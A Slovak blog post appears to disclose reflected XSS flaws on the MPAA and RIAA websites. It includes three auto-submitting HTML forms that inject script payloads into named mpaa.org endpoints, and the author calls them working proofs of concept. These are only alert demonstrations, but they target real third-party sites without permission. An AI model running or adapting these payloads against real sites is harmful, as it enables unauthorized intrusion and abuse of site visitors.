Pred pár dňami som písal o stránkach organizácie RIAA, ktorá obsahovala niekoľko desiatok XSS zraniteľností. Nebol som však jediný, určite ste už zachytili túto informáciu aj inde. Iní využíli aj SQL Injection, ktorou sa snažili od DOS stránok.

MPAA (The Motion Picture Association of America) je organizácia, ktorá zastrešuje filmové štúdia v USA. MPAA je veľmi nepopulárna medzi p2p komunitou, rovnako ako RIAA a im podobné organizácie (napríklad IFPI). Len v dnešných dňoch vyšlo najavo, že čísla štatistík, ktoré pre MPAA vytvorila iná spoločnosť boli mylné a na týchto číslach bol založený veľmi zlý lobing MPAA (viac na Silicon Valley Insider (eng), alebo Pooh (cz)). Táto téma však nie je predmetom tohto článku.

Po testovaní Riaa.com som sa rozhodol pozrieť sa aj na Mpaa.org. Do testu som vstúpil bez očakávaní, už som sa poučil o tom, že tie najväčšie spoločnosti mávajú často najhoršie zabezpečenie. Samotná Riaa.com obsahovala až 40 zraniteľností, ktoré umožňovali využiť techniku XSS a na polovici SQL Injection. RIAA na tento fakt reagovala celkom promtne (čo iné im ostávalo, keď užívatelia bombardovali stránky za pomoci benchmark testu na databázi stránok a tým obmedzovali jej funkčnosť). RIAA však neodstránila všetky diery, v podstate odstránili len tie, ktoré sa objavili v anglicky písaných mediách/blogoch, preto jedna z nich, ktorú som odhalil stále funguje. Mpaa.org je celkom rozsiahly portál, určite väčší ako Riaa.com. Na počudovanie som objavil “len” tri zraniteľnosti, ktoré umožňujú útočnikovi využiť techniku XSS.

Narozdiel od stránok Riaa.com umožňujú stránky Mpaa.org využiť zranitelňost len za použitia metódy POST pre posielanie dát webserveru. To znamená, že nie je možné posielať dáta cez url ale je ich nutné odoslať skriptom. Pripravil som tri POC príklady, ktoré sú v tomto momente plne funkčné.

Príklad 1:
<form method="POST" action="http://www.mpaa.org/thank_you.asp" name="explForm">
<input type="hidden" name="txtfavoritemovie" value='<script>alert("xss")</script>'>
</form>
<script language="Javascript">
setTimeout("explForm.submit()", 1);
</script>
Príklad 2:
<form method="POST" action="http://www.mpaa.org/thank_you.asp" name="explForm">
<input type="hidden" name="name" value='>"><script>alert ("xss")</script>'>
</form>
<script language="Javascript">
setTimeout("explForm.submit()", 1);
</script>
Príklad 3:
<form method="POST" action="http://www.mpaa.org/flmrat_srchreslts.asp" name="explForm">
<input type="hidden" name="txtsearch" value='<script>alert ("xss")</script>'>
</form>
<script language="Javascript">
setTimeout("explForm.submit()", 1);
</script>
Ako som už spomenul vyššie, RIAA dodnes neodstránila všetky zraniteľnosti a tak prikladám aj POC pre Riaa.com. Ten si môžete odskúšať tu.

V dohľadnej dobe by som rád publikoval testy bezpečnosti Slovenských bánk, je s tým však daleko viac roboty, ako sa zdalo na začiatku. Ak máte návrh, alebo zájem o konzultácie, stačí napísať na e-mail blog??synopsi__com.